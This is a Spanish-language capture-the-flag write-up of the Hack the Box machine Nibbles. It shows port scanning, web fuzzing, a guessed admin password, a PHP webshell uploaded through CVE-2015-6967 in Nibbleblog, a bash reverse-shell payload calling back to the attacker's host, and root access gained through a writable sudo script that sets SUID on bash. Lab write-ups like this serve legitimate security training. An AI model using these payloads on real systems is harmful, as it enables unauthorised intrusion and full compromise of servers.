Nibbles
Info
En este post, voy a compartir cómo resolví la máquina retirada Nibbles de Hack the Box, clasificada como Easy.
Nmap
Comienzo verificando si el host está activo. Para ello, envio un paquete ICMP hacia la IP del objetivo.
1
ping -c 1 "IP_VICTIM"
Como respondió correctamente, realizamos un escaneo completo de puertos usando nmap:
1
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv "IP_VICTIM" -oG allPorts
Explicación de los parámetros.
-p-: Escanea todo el rango de puertos del 1-65535.--open: Muestra solo los puertos abiertos.-sS: Realiza un escaneo TCP SYN (Stealth Scan).--min-rate 5000: Establece una velocidad mínima de 5000 paquetes por segundo.-n: No realizar resolución DNS.-Pn: Omite el descubrimiento de hosts.-vvv: Muestra información detallada durante el escaneo.-oG: Exporta el output en formato “grepable” en el archivo allPorts.
Una vez terminado el escaneo, utilicé la función extractPorts para extraer los puertos abiertos y copiarlos al portapapeles.
El escaneo revela dos puertos abiertos: 22 (SSH) y 80 (HTTP). Para obtener más información, hago un escaneo de versiones y servicios de los puertos descubiertos:
1
nmap -sCV -p22,80 "IP_VICTIM" -oN version
-sC: Realiza un escaneo usando un conjunto de scripts por defecto que incluyen: discovery, intrusive, etc.-sV: Habilita la detección de versión y servicio para cada uno de estos puertos.-p: Escanear solo los puertos específicados.-oN: Exportar el output en formato normal hacia el archivo version
Los resultados muestran que el sistema corre Apache y OpenSSH. Usando la versión de OpenSSH, identifico que el sistema probablemente se basa en Ubuntu Xenial (16.04).
Enumeración Web
Accedo desde el navegador al puerto 80 del objetivo, donde me encuentro con una simple página de bienvenida. En seguida, revisó el código fuente, y se revela una ruta interesante:
Fingerprinting
Al visitar ese endpoint, soy redirigido a un CMS llamado Nibbleblog. Uso herramientas como WhatWeb y Wappalyzer para identificar las tecnologías del sitio.
Ambas confirman el uso de:
PHPApachejQueryCMS: Nibbleblog
Dado que el lenguaje de programación del backend es PHP, empiezo a pensar en posibles vectores de RCE a través de la carga de archivos.
ffuf
A continuación, realizo fuzzing con ffuf (puedes usar dirsearch, gobuster , wfuzz, etc) utilizando un diccionario de SecLists.
1
ffuf -c -ic -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/common.txt -u http://IP_VICTIM/nibbleblog/FUZZ -mc all -fc 404
Encuentro algunos recursos interesantes:
/README: Muestra la versión del CMS./admin.php: Panel de login./plugins: Capacidad de directory listing habilitado./content/users.xml: Encuentro un nombre de usuario válido.
Intento ingresar al panel de login (/admin.php) usando el usuario encontrado y algunas contraseñas comunes. Sin embargo, tras varios intentos, desencadena un bloqueo temporal de mis solicitudes y el servidor devuelve un mensaje de protección:
Esto indica que no vale la pena insistir la fuerza bruta. Entonces, deduzco que podría ser una contraseña simple basada en el nombre del sitio, pruebo con posibles variantes como: Nibbles, nibbles, NIBBLES, y… ¡logro acceder como el usuario admin!
Explotación
Una vez dentro, verifico la versión exacta del CMS e investigo posibles vulnerabilidades conocidas usando estas palabras clave: Nibbleblog 4.0.3 exploit. Encuentro una que destaca: CVE-2015-6967, que permite la carga arbitraria de archivos si se tiene acceso autenticado.
Este artículo explica bien cómo funciona la vulnerabilidad. En resumen, el ataque se acontece utilizando el plugin My Image, que permite subir cualquier archivo independientemente de su extensión dándome total libertad a cargar archivos PHP.
Creo una webshell simple en mi máquina y la almaceno como shell.php:
1
2
3
<?php
system($_GET['cmd']);
?>
Subo el archivo a través del plugin. Aunque se muestran varios errores, el mensaje indica que el archivo ha sido subido exitosamente.
Plugin My Image - Upload shell.php
Según el artículo, los archivos se almacenan en: /content/private/plugins/my_image. Accedo a esta ruta, y ejecuto comandos a través del parámetro cmd del archivo image.php:
1
http://IP_VICTIM/nibbleblog/content/private/plugins/my_image/image.php?cmd=cat /etc/passwd
¡Confirmado! Tengo RCE. Para obtener una reverse shell, usaré el primer payload de PentestMonkey:
1
http://IP_VICTIM/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/443 0>%261'
Nota: Reemplazo
&por%26usando URL encoding.
Por otro lado en mi host, me pongo a la escucha con nc:
1
nc -lnvp 443
-l: Escucha conexiones entrantes.-n: Omitir la resolución DNS.-v: Muestra información detallada.-p: Especifica el puerto en el que debe escuchar (443 en este caso).
Una vez que ejecuto el payload se ejecuta, tengo una shell.
User shell
Antes de continuar, realizaré el tratamiento de la TTY para obtener una full TTY funcional.
1
2
3
4
5
6
script /dev/null -c bash
# [ Ctrl + Z ]
stty raw -echo; fg
reset xterm
export TERM=xterm
Y también ajusto la proporción de las filas y columnas:
1
2
3
4
5
# En mi máquina
stty size
# En Nibbles
stty rows 45 columns 184
Encuentro la user flag en el directorio personal del usuario:
Privilege Escalation
Verifico permisos sudo:
El resultado muestra que puedo ejecutar un script como root, sin proporcionar contraseña. Aunque el script aún no existe, tengo permisos de escritura, por lo que puedo crearlo.
El script contiene estas instrucciones:
1
2
3
#!/bin/bash
chmod 4755 /bin/bash
Ejecuto este script con sudo:
1
sudo -u root /home/nibbler/personal/stuff/monitor.sh
Esto le asigna el bit SUID a /bin/bash. Verifico los permisos, y abro una shell con privilegios elevados:
Finalmente, tengo acceso como root:














